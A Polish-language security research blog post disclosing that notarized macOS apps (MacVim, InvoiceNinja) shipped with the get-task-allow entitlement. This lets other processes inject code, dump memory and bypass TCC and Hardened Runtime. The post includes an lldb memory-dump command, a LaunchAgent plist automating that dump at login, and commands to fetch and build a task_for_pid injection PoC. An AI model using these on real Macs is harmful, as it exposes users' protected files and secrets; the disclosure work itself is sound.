
Na początku tego roku szukałem sposobów na wykorzystanie aplikacji firm trzecich do eskalacji uprawnień TCC w systemie macOS. W tym celu pobrałem setki aplikacji z App Store oraz z różnych stron internetowych (ale tylko te, które były notarized by Apple). Dzięki temu mogłem zidentyfikować podatności na szeroką skalę. Większość z nich opiera się na wstrzykiwaniu kodu do aplikacji – zarówno przed ich uruchomieniem, jak i w trakcie działania. W ekosystemie macOS taka technika jest traktowana jako poważne zagrożenie, głównie ze względu na liczne mechanizmy ochronne, z których w tym kontekście najważniejszy jest TCC. Mówiąc o „eskalacji” i granicach bezpieczeństwa macOS, przypomniała mi się prezentacja Csaby Fitzla pt. Finding Vulnerabilities in Apple Packages at Scale. Jeśli jeszcze jej nie widziałeś, zdecydowanie warto – świetnie tłumaczy te granice. Jeśli natomiast pierwszy raz słyszysz o TCC, polecam zacząć od mojego artykułu Threat of TCC Bypasses on macOS.
W tym wpisie przyjrzymy się jednej z błędnych konfiguracji (łatwej do wywnioskowania z tytułu), która pozwala na wstrzykiwanie kodu do aplikacji, a w konsekwencji na obejście TCC. Pisząc ten tekst, zakładam, że wiesz, czym jest task injection. Jeśli jednak nie, zajrzyj do artykułu Task Injection on macOS. Miłej lektury!
Dlaczego get-task-allow jest niebezpieczne
Uprawnienie get-task-allow zostało stworzone z myślą o procesie deweloperskim, ponieważ umożliwia programistom debugowanie aplikacji. Problem zaczyna się wtedy, gdy pozostaje aktywne w finalnej wersji aplikacji – pozwala bowiem dowolnemu procesowi na Twoim Macu wstrzyknąć własny kod do procesu tej aplikacji i przejąć nad nią pełną kontrolę. W świecie macOS jest to uznawane za istotną granicę bezpieczeństwa. W uproszczeniu: App_A nie może kontrolować pamięci procesu App_B, dopóki użytkownik na to nie zezwoli (a czasami nawet to nie wystarczy – np. w przypadku aplikacji z włączonym hardened runtime). To właśnie dlatego nie możemy po prostu podłączyć debuggera LLDB do dowolnego procesu – LLDB korzysta z task_for_pid() do uzyskania portu procesu, co technicznie jest rozpoczęciem task injection. Jeżeli jednak dana aplikacja ma ustawione uprawnienie get-task-allow na true, złośliwe oprogramowanie może zrobić rzeczy, które normalnie są zablokowane:
- Przejęcie aplikacji (App Hijacking): wstrzyknięcie własnego kodu bezpośrednio do podatnej aplikacji, co pozwala na uruchamianie dalszych ataków z zaufanego środowiska, zmianę zachowania aplikacji w locie lub wyświetlanie użytkownikowi zmodyfikowanych treści.
- Kradzież danych: odczytanie pamięci aplikacji, w której mogą znajdować się hasła, klucze API, prywatne dokumenty czy dane finansowe.
- Obejście TCC: przejęcie wszystkich uprawnień, które użytkownik nadał oryginalnej aplikacji i cichy dostęp do zasobów chronionych przez TCC.
- Ucieczka z piaskownicy (Sandbox Escape): jeżeli malware działa w środowisku sandbox, a profil piaskownicy nie blokuje
mach-task-name, może ono „przeskoczyć” do bardziej uprzywilejowanej aplikacji z aktywnymget-task-allowi bez ograniczeń sandboxa (choć jest tu pewien haczyk – patrz problem 2).
Jak to często bywa – obraz mówi więcej niż tysiąc słów – więc przyjrzyjmy się dwóm przykładom, które pokazują skalę tego problemu:
Wycieki danych i obejście TCC
MacVim w wersji r181 (Vim 9.1.1128) był aplikacją notarized by Apple, dystrybuowaną poza App Store, dostępną do pobrania z oficjalnej strony. Co gorsza, miał ustawione niebezpieczne uprawnienie get-task-allow:

To idealny przykład, aby pokazać zarówno wyciek informacji przetwarzanych przez aplikację, jak i obejście zabezpieczeń TCC. Wyobraźmy sobie scenariusz, w którym użytkownik korzysta z MacVim w pełni legalnie, aby uzyskać dostęp do pliku secret.txt chronionego przez TCC, znajdującego się w katalogu ~/Downloads:
- Użytkownik klika Open.

- Następnie wybiera plik z katalogu Downloads.

- Potwierdza dostęp, klikając Allow, dzięki czemu aplikacja MacVim otrzymuje uprawnienia TCC do katalogu Downloads.

- Od tego momentu MacVim ma stały dostęp do wszystkich plików w folderze Downloads. Ta informacja jest zapisana w bazie danych TCC użytkownika pod kluczem
kTCCServiceSystemPolicyDownloadsFolder.

Od teraz malware może użyć tej aplikacji jako proxy, aby dostać się do plików w tym katalogu lub zrzucić pamięć procesu i odczytać przetwarzane dane. Dla uproszczenia nie będę tutaj przygotowywał shellcode’u – wystarczy skorzystać z LLDB. Poniższe polecenie, dzięki uprawnieniu get-task-allow, podłącza się do procesu i zapisuje pełną pamięć w pliku /tmp/mem_dump:
lldb -p pgrep MacVim -o "process save-core /tmp/mem_dump" -o exitZrzut pamięci pozwala odzyskać zawartość chronionego przez TCC pliku secret.txt, jeśli był on otwarty przez aplikację:

Co więcej, złośliwe oprogramowanie mogłoby zautomatyzować ten proces, wykorzystując LaunchAgent, aby automatycznie przejmować uprawnienia TCC odziedziczone po MacVim:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.crimson.bypass</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>PID=$(pgrep -f "/Applications/MacVim.app/Contents/MacOS/Vim -g") && if [ ! -z "$PID" ]; then /usr/bin/lldb -p $PID -o "process save-core /tmp/mem_dump" -o exit; fi</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>Gdy aplikacja nie ma uprawnienia get-task-allow, taki atak jest niemożliwy:

Dodatkowo, jeśli aplikacja jest podpisana z włączonym Hardened Runtime, nawet użytkownik z uprawnieniami root nie może podłączyć debuggera:

Ta podatność została naprawiona i otrzymała identyfikator CVE-2025-8597.
Przejęcie kodu aplikacji
MacVim to przykład aplikacji dystrybuowanej poza App Store, ale także w samym App Store znajdziemy podatne aplikacje. Dobrym przykładem jest InvoiceNinja w wersji 5.0.172 (172). Tutaj pokażę, jak można zmodyfikować zachowanie aplikacji w czasie działania. Ten sam mechanizm pozwala na obejście TCC, ale najważniejsze jest to, że malware może robić wszystko w kontekście aplikacji. To oznacza, że:
- Jeżeli podatna aplikacja łączy się z serwerami chronionymi panelami uwierzytelniania, złośliwe oprogramowanie może przeprowadzić lateral movement i uzyskać dostęp do tych zasobów.
- Może całkowicie zmienić wyświetlane treści – np. w aplikacji do przelewów wysłać pieniądze na inne konto niż wybrane przez użytkownika.
Możliwości jest naprawdę sporo. Dla prostego przykładu PoC wykorzystam skrypt task_for_pid_inject.c, który wypisze w kontekście aplikacji komunikat „pwn” oraz utworzy plik /tmp/research_success.
wget https://raw.githubusercontent.com/Karmaz95/Snake_Apple/9f195f010bb1824096b17d308676b17214d59707/X.%20NU/custom/mach_ipc/task_for_pid_inject.c
clang task_for_pid_inject.c -o task_for_pid_inject
Ta podatność również została naprawiona i zarejestrowana jako CVE-2025-8700.
Małe niedopatrzenie
Łatwo jest obwiniać samych deweloperów aplikacji – i faktycznie ponoszą oni część odpowiedzialności – ale większy problem leży po stronie Apple. Cały ekosystem tej firmy opiera się na obietnicy bezpieczeństwa wynikającego z dokładnego procesu weryfikacji. Aplikacje z tak poważną luką nigdy nie powinny zostać dopuszczone do App Store ani otrzymać statusu notarized. Dlatego byłem mocno zaskoczony, kiedy zobaczyłem, że uprawnienie get-task-allow jest ustawione na true w aplikacjach notarized. Ale gdy pobrałem jedną z takich aplikacji prosto z App Store, dosłownie zabrakło mi słów. Skontaktowałem się z Apple z pytaniem, czy to normalna praktyka, i – jak wynika z odpowiedzi – wygląda na to, że firma nie widzi w tym problemu.

Zgłoszenie, które wysłałem, dotyczyło przede wszystkim błędów w procesie weryfikacji aplikacji i systemie notarization, które powinny odrzucać lub przynajmniej oznaczać aplikacje z niebezpiecznymi uprawnieniami developerskimi w wersjach produkcyjnych. Jednak zauważyłem kilka dodatkowych problemów wynikających z tego „drobnego” niedopatrzenia.
W kolejnych punktach je omówimy.
Problem 1: Ominięcie Hardened Runtime
Jak już wcześniej widzieliśmy, nawet użytkownik z uprawnieniami root nie ma możliwości uzyskania dostępu do portu procesu w aplikacji chronionej przez Hardened Runtime. Poniżej przykład aplikacji MacVim bez uprawnienia get-task-allow, ale z włączonym Hardened Runtime:

Natomiast podatna wersja MacVim jest podpisana z włączonym Hardened Runtime, a jednocześnie ma ustawione get-task-allow = true:

To w praktyce oznacza, że ochrona Hardened Runtime zostaje ominięta, a do tego nie potrzebujemy nawet uprawnień root. Najprawdopodobniej zrobiono to, aby umożliwić deweloperom debugowanie programów tworzonych w Xcode przy włączonym Hardened Runtime:

Jak pokazano powyżej, możemy po prostu użyć lldb, aby podłączyć się do procesu nawet w przypadku restrykcji, a następnie wstrzyknąć kod w jego kontekst. To kolejny powód, dla którego aplikacje z tym uprawnieniem nie powinny być dystrybuowane.
Problem 2: Samopodpisywanie
Drugi problem to mechanizm, który – po dłuższym testowaniu – wydaje się bardziej środkiem ochronnym. Co się stanie, jeśli spróbujemy uzyskać port procesu za pomocą własnego narzędzia? Nie zadziała. Poniżej prosty przykład programu, który próbuje zdobyć port procesu – działa dokładnie tak samo, jak lldb na początku, a bez portu procesu nie da się ani wstrzyknąć kodu, ani odczytać pamięci docelowej aplikacji:
// clang check_tfp.c -o check_tfp
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <unistd.h>
static boolean_t verify_task_port(mach_port_t task) {
task_flavor_t flavor = TASK_BASIC_INFO;
task_basic_info_data_t info;
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count);
return (kr == KERN_SUCCESS);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
// Case 1: Could not get task port
if (kr != KERN_SUCCESS) {
printf("[-] Failed to get task port for PID %d (error: 0x%x)\n", target_pid, kr);
return 1;
}
// Case 2: Got task port but it's unusable
if (!verify_task_port(task)) {
printf("[-] Got task port for PID %d but port is unusable\n", target_pid);
return 1;
}
// Case 3: Got task port and it's usable
printf("[+] Task port for PID %d acquired and verified\n", target_pid);
return 0;
}
Dlaczego więc lldb może to zrobić, a nasz własny program nie? Wynika to z tego, że lldb korzysta z procesu debugserver, który jest uprzywilejowany i komunikuje się z docelową aplikacją. Szerzej opisywałem to we wpisie Debug Entitlement – lldb & debugserver.

Debugserver posiada uprawnienie com.apple.private.cs.debugger, które pozwala na korzystanie z task_for_pid() wobec procesu z ustawionym get-task-allow. Czy to oznacza, że malware nie może wykorzystać get-task-allow? Może – ale będzie to trudne, jeśli działa w środowisku sandboxowym, chyba że proces ma uprawnienie cs.debugger lub może ponownie podpisać inne binarki (lub siebie). Obecnie istnieją dwa powiązane uprawnienia:
- com.apple.private.cs.debugger
- com.apple.security.cs.debugger
Pierwsze jest uprawnieniem prywatnym i nie można go użyć, ale drugie już tak. Aplikacja działająca poza sandboxem może podpisać siebie lub inny program tym uprawnieniem, udając debugger. W efekcie może zdobyć port procesu – i jak widać poniżej, działa to bez problemu:

Podsumowując – dla złośliwego oprogramowania działającego w sandboxie wykorzystanie podatności get-task-allow nie jest proste. Jednak w środowisku poza sandboxem możliwe jest samopodpisanie aplikacji z użyciem dostępnego uprawnienia i pełne skorzystanie z tej luki.
Najprawdopodobniej było to zaplanowane z myślą o zewnętrznych narzędziach debuggera, ale efekt jest taki, że sytuacja wprowadza sporo zamieszania.
Problem 3: Komunikat o dostępie do Developer Tools
Ostatnia kwestia dotyczy tego, że wywołanie task_for_pid() uruchamia komunikat Developer Tools Access (DTA). Gdy próbujemy debugować dowolny, niezabezpieczony (unhardened) proces, pojawia się następujący monit (jeszcze przed uzyskaniem portu procesu):

To samo dotyczy naszego narzędzia check_tfp, ale tylko wtedy, gdy wcześniej zostanie ono podpisane z uprawnieniem com.apple.private.cs.debugger. Według dokumentacji, gdy użytkownik zaakceptuje ten monit, system przez kolejne 10 godzin nie prosi o ponowne potwierdzenie. Co więcej, wygląda na to, że ten monit w ogóle się nie pojawia, jeśli docelowy proces ma ustawione uprawnienie get-task-allow.
Jak w wielu innych przypadkach, Apple nie wspomina o tym fakcie w dokumentacji.
A co na to użytkownik root?
Dla procesu działającego z uprawnieniami root sytuacja wygląda inaczej. Malware uruchomione z kontekstu roota nie wyświetli monitu DTA i nie potrzebuje uprawnienia com.apple.private.cs.debugger i może wykonać task_for_pid():
- wobec podatnego procesu z włączonym
get-task-allow, nawet jeśli ma włączony Hardened Runtime, - oraz wobec wszystkich niezabezpieczonych (unhardened/unrestricted) procesów.
Jeśli z tego artykułu mielibyście zapamiętać tylko jedną rzecz, niech to będzie to: aby zabezpieczyć aplikację przed atakami typu injection, należy nie tylko wyłączyć uprawnienie get-task-allow, ale także włączyć Hardened Runtime.
Na zakończenie
Mam nadzieję, że po lekturze tego artykułu każdy deweloper zrozumiał, dlaczego zalecenie aby nie używać get-task-allow to nie żart, a poważna lekcja. Mam też nadzieję, że Apple wyciągnie z tego wnioski i usprawni proces weryfikacji aplikacji pomimo tego, że raport zamknięto jako „oczekiwane zachowanie”. Dziękuję również Wojciechowi Regule (@_r3ggi), który podczas Oh My Hack 2024 zwrócił mi uwagę „Spójrz na App Store – wiele aplikacji nie ma nawet włączonego Hardened Runtime.” I rzeczywiście, odkryłem tam jeszcze więcej zaskakujących sytuacji, niż się spodziewałem. Nie przypuszczałem, że bezpieczeństwo procesu dystrybucji aplikacji jest aż tak słabe.




